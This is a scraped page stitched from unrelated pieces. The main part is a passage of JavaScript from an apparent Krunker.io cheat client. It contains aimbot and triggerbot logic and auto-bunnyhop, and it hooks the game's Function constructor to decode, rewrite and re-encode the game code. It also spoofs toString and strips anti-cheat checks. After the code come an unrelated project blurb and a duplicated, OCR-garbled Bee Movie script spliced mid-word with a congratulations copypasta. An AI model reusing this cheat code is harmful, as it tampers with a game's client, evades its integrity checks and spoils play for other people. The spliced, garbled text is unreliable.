- this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { let canSee = this.containsPoint(target.mesh.position) let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0) let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y + target.mesh.children[0].scale.y * 0.85, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else { if (!this.me.aimDir && canSee) { input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } } } else { this.resetLookAt(); } return input; } onInput(input) { if (this.isDefined(this.config) && this.config.aimAnimMlt) this.config.aimAnimMlt = 1; if (this.isDefined(this.controls) && this.isDefined(this.config) && this.settings.inActivity.val) { this.controls.idleTimer = 0; this.config.kickTimer = Infinity } if (this.me) { this.inputFrame ++; if (this.inputFrame >= 100000) this.inputFrame = 0; if (!this.game.playerSound[this.isProxy]) { this.game.playerSound = new Proxy(this.game.playerSound, { apply: function(target, that, args) { if (skid.settings.disableWpnSnd.val && args[0] && typeof args[0] == "string" && args[0].startsWith("weapon_")) return; return target.apply(that, args); }, get: function(target, key) { return key === skid.isProxy ? true : Reflect.get(target, key); }, }) } let isMelee = this.isDefined(this.me.weapon.melee)&&this.me.weapon.melee||this.isDefined(this.me.weapon.canThrow)&&this.me.weapon.canThrow; let ammoLeft = this.me[this.vars.ammos][this.me[this.vars.weaponIndex]]; // autoReload if (this.settings.autoReload.val) { //let capacity = this.me.weapon.ammo; //if (ammoLeft < capacity) if (isMelee) { if (!this.me.canThrow) { //this.me.refillKnife(); } } else if (!ammoLeft) { this.game.players.reload(this.me); input[this.key.reload] = 1; // this.me[this.vars.reloadTimer] = 1; //this.me.resetAmmo(); } } //Auto Bhop let autoBhop = this.settings.autoBhop.val; if (autoBhop !== "off") { if (this.isKeyDown("Space") || autoBhop == "autoJump" || autoBhop == "autoSlide") { this.controls.keys[this.controls.binds.jumpKey.val] ^= 1; if (this.controls.keys[this.controls.binds.jumpKey.val]) { this.controls.didPressed[this.controls.binds.jumpKey.val] = 1; } if (this.isKeyDown("Space") || autoBhop == "autoSlide") { if (this.me[this.vars.yVel] < -0.03 && this.me.canSlide) { setTimeout(() => { this.controls.keys[this.controls.binds.crouchKey.val] = 0; }, this.me.slideTimer||325); this.controls.keys[this.controls.binds.crouchKey.val] = 1; this.controls.didPressed[this.controls.binds.crouchKey.val] = 1; } } } } //Autoaim if (this.settings.autoAim.val !== "off") { this.playerMaps.length = 0; this.rayC.setFromCamera(this.vec2, this.renderer.fpsCamera); let target = this.game.players.list.filter(enemy => { let hostile = undefined !== enemy[this.vars.objInstances] && enemy[this.vars.objInstances] && !enemy[this.vars.isYou] && !this.getIsFriendly(enemy) && enemy.health > 0 && this.getInView(enemy); if (hostile) this.playerMaps.push( enemy[this.vars.objInstances] ); return hostile }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { //let count = this.spinTick(input); //if (count < 360) { // input[2] = this.me[this.vars.xDire] + Math.PI; //} else console.log("spins ", count); //target.jumpBobY * this.config.jumpVel let canSee = this.containsPoint(target[this.vars.objInstances].position); let inCast = this.rayC.intersectObjects(this.playerMaps, true).length; let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0); let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y - target[this.vars.crouchVal] * this.consts.crouchDst + this.me[this.vars.crouchVal] * this.consts.crouchDst, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else if (!canSee && this.settings.frustrumCheck.val) this.resetLookAt(); else if (ammoLeft||isMelee) { input[this.key.scope] = this.settings.autoAim.val === "assist"||this.settings.autoAim.val === "correction"||this.settings.autoAim.val === "trigger" ? this.controls[this.vars.mouseDownR] : 0; switch (this.settings.autoAim.val) { case "quickScope": input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } break; case "assist": case "easyassist": if (input[this.key.scope] || this.settings.autoAim.val === "easyassist") { if (!this.me.aimDir && canSee || this.settings.autoAim.val === "easyassist") { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } break; case "silent": if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; } else input[this.key.scope] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 break; case "trigger": if (input[this.key.scope] && canSee && inCast) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; case "correction": if (input[this.key.shoot] == 1) { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; default: this.resetLookAt(); break; } } } else { this.resetLookAt(); //input = this.raidBot(input); } } } //else if (this.settings.autoClick.val && !this.ui.hasEndScreen) { //this.config.deathDelay = 0; //this.controls.toggle(true); //} //this.game.config.deltaMlt = 1 return input; } getD3D(x1, y1, z1, x2, y2, z2) { let dx = x1 - x2; let dy = y1 - y2; let dz = z1 - z2; return Math.sqrt(dx * dx + dy * dy + dz * dz); } getAngleDst(a, b) { return Math.atan2(Math.sin(b - a), Math.cos(a - b)); } getXDire(x1, y1, z1, x2, y2, z2) { let h = Math.abs(y1 - y2); let dst = this.getD3D(x1, y1, z1, x2, y2, z2); return (Math.asin(h / dst) * ((y1 > y2)?-1:1)); } getDir(x1, y1, x2, y2) { return Math.atan2(y1 - y2, x1 - x2); } getDistance(x1, y1, x2, y2) { return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2); } containsPoint(point) { let planes = this.renderer.frustum.planes; for (let i = 0; i < 6; i ++) { if (planes[i].distanceToPoint(point) < 0) { return false; } } return true; } getCanSee(from, toX, toY, toZ, boxSize) { if (!from) return 0; boxSize = boxSize||0; for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - this.consts.cameraHeight, aa = 0; aa < this.game.map.manager.objects.length; ++aa) { if (!(obj = this.game.map.manager.objects[aa]).noShoot && obj.active && !obj.transparent && (!this.settings.wallPenetrate.val || (!obj.penetrable || !this.me.weapon.pierce))) { let tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize)); if (tmpDst && 1 > tmpDst) return tmpDst; } } /* let terrain = this.game.map.terrain; if (terrain) { let terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy); if (terrainRaycast) return utl.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y); } */ return null; } lineInRect(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) { let t1 = (x1 - lx1) * dx; let t2 = (x2 - lx1) * dx; let t3 = (y1 - ly1) * dy; let t4 = (y2 - ly1) * dy; let t5 = (z1 - lz1) * dz; let t6 = (z2 - lz1) * dz; let tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6)); let tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6)); if (tmax < 0) return false; if (tmin > tmax) return false; return tmin; } lookDir(xDire, yDire) { this.controls.object.rotation.y = yDire this.controls[this.vars.pchObjc].rotation.x = xDire; this.controls[this.vars.pchObjc].rotation.x = Math.max(-this.consts.halfPI, Math.min(this.consts.halfPI, this.controls[this.vars.pchObjc].rotation.x)); this.controls.yDr = (this.controls[this.vars.pchObjc].rotation.x % Math.PI).round(3); this.controls.xDr = (this.controls.object.rotation.y % Math.PI).round(3); this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } resetLookAt() { this.controls.yDr = this.controls[this.vars.pchObjc].rotation.x; this.controls.xDr = this.controls.object.rotation.y; this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } world2Screen (position) { let pos = position.clone(); let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; pos.project(this.renderer.camera); pos.x = (pos.x + 1) / 2; pos.y = (-pos.y + 1) / 2; pos.x *= scaledWidth; pos.y *= scaledHeight; return pos; } getInView(entity) { return null == this.getCanSee(this.me, entity.x, entity.y, entity.z); } getIsFriendly(entity) { return (this.me && this.me.team ? this.me.team : this.me.spectating ? 0x1 : 0x0) == entity.team } } function loadWASM() { window.Function = new Proxy(window.Function, { construct(target, args) { const original = new target(...args); if (args.length) { let body = args[args.length - 1]; if (body.length > 38e5) { // game.js at game loader Easy Method //console.log(body) } else if (args[0] == "requireRegisteredType") { return (function(...fnArgs){ // Expose WASM functions if (!window.hasOwnProperty("WASM")) { window.Object.assign(window, { WASM: { requireRegisteredType:fnArgs[0], __emval_register:[2], } }); for(let name in fnArgs[1]) { window.WASM[name] = fnArgs[1][name]; switch (name) { case "__Z01dynCall_fijfiv": //game.js after fetch and needs decoding fnArgs[1][name] = function(body) { // Get Key From Known Char let xorKey = body.charCodeAt() ^ '!'.charCodeAt(), str = "", ret =""; // Decode Mangled String for (let i = 0, strLen = body.length; i < strLen; i++) { str += String.fromCharCode(body.charCodeAt(i) ^ xorKey); } // Manipulate String //console.log(str) window[skidStr] = new Skid(); str = skid.gameJS(str); //ReEncode Mangled String for (let i = 0, strLen = str.length; i < strLen; i++) { ret += String.fromCharCode(str[i].charCodeAt() ^ xorKey); } // Return With Our Manipulated Code return window.WASM[name].apply(this, [ret]); }; break; case "__Z01dynCall_fijifv": //generate token promise fnArgs[1][name] = function(response) { if (!response.ok) { throw new window.Error("Network response from " + response.url + " was not ok") } let promise = window.WASM[name].apply(this, [response]); return promise; }; break; case "__Z01dynCall_fijjjv": //hmac token function fnArgs[1][name] = function() { console.log(arguments[0]); return window.WASM[name].apply(this, arguments); }; break; } } } return new target(...args).apply(this, fnArgs); }) } // If changed return with spoofed toString(); if (args[args.length - 1] !== body) { args[args.length - 1] = body; let patched = new target(...args); patched.toString = () => original.toString(); return patched; } } return original; } }) function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://coder369.ml/d/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.request = (url, type, opt = {}) => fetch(url, opt).then(response => response.ok ? response[type]() : null); let Module = { onRuntimeInitialized: function() { function e(e) { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = "<div style='color: rgba(255, 255, 255, 0.6)'>" + e + "</div><div style='margin-top:10px;font-size:20px;color:rgba(255,255,255,0.4)'>Make sure you are using the latest version of Chrome or Firefox,<br/>or try again by clicking <a href='/'>here</a>.</div>"; window.instructionHolder.style.pointerEvents = "all"; }(async function() { "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder ? await Module.initialize(Module) : e("Your browser is not supported.") })().catch(err => { e("Failed to load game."); throw new Error(err); }) } }; window._debugTimeStart = Date.now(); window.request("/pkg/maindemo.wasm","arrayBuffer",{cache: "no-store"}).then(body => { Module.wasmBinary = body; window.request("/pkg/maindemo.js","text",{cache: "no-store"}).then(body => { body = body.replace(/(function UTF8ToString\((\w+),\w+\)){return \w+\?(.+?)\}/, `$1{let str=$2?$3;if (str.includes("CLEAN_WINDOW") || str.includes("Array.prototype.filter = undefined")) return "";return str;}`); body = body.replace(/(_emscripten_run_script\(\w+\){)eval\((\w+\(\w+\))\)}/, `$1 let str=$2; console.log(str);}`); new Function(body)(); window.initWASM(Module); }) }); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; } } } }); observer.observe(document, { childList: true, subtree: true }); } function loadBasic() { let request = async function(url, type, opt = {}) { return fetch(url, opt).then(response => { if (!response.ok) { throw new Error("Network response from " + url + " was not ok") } return response[type]() }) } let fetchScript = async function() { const data = await request("https://krunker.io/social.html", "text"); const buffer = await request("https://krunker.io/pkg/krunker." + /\w.exports="(\w+)"/.exec(data)[1] + ".vries", "arrayBuffer"); const array = Array.from(new Uint8Array(buffer)); const xor = array[0] ^ '!'.charCodeAt(0); return array.map((code) => String.fromCharCode(code ^ xor)).join(''); } function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://skidlamer.github.io/wp/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.instructionHolder.style.pointerEvents = "all"; window._debugTimeStart = Date.now(); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; fetchScript().then(script=>{ window[skidStr] = new Skid(); const loader = new Function("__LOADER__mmTokenPromise", "Module", skid.gameJS(script)); loader(new Promise(res=>res(JSON.parse(xhr.responseText).token)), { csv: async () => 0 }); window.instructionHolder.style.pointerEvents = "none"; }) } } } }); observer.observe(document, { childList: true, subtree: true }); } let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.sys32.dev/token', false); try { xhr.send(); if (xhr.status != 200) { loadWASM(); } else { if (xhr.responseText.includes('success')) { loadBasic(); } else loadWASM(); } } catch(err) { loadWASM(); }
NikkelM
Automatically get the Steam App IDs for games you own on Steam, Epic Games or GOG. Or, simply provide a list of game names and the best matches will be found for you.
According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because beAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual.You wrote that yourself? wow congrats dude, really, that's very cool. i just told everyone in my family about it, everybody thinks that's very impressive and asked me to congratulate you. they want to speak to you in person, if possible, to give you their regards. they also said they will tell our distant relatives in christmas supper and in NYE they will ignite fireworks that spell your name. i also told about this enormous deed to closer relatives, they had the same reaction. they asked for your address so they can send congratulatory cards and messages. my friends didn't believe me when i told them i knew the author of this gigantic feat, really, they were dumbstruck, they said they will make your name echo through years and years to come. when my neighbour found out about what you did, he was completely dumbstruck too, he wanted to know who you are and he asked (if you have the time, of course) if you could stop by to receive gifts, congratulations and handshakes. with the spreading of the news, a powerful businessman of the area decided to hire you as the CEO of his company because of this tremendous feat and at the same time an important international shareholder wants to sponsor you to give speeches and teach everybody how to do as you did so the world becomes a better place. you have become famous not only here but also everywhere, everybody knows who you are. the news spread really fast and mayors of all cities are setting up porticos, ballons, colossal boom speakers, anything that can make your name stand out more and see which city can congratulate you the hardest for this magnificent feaes don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. 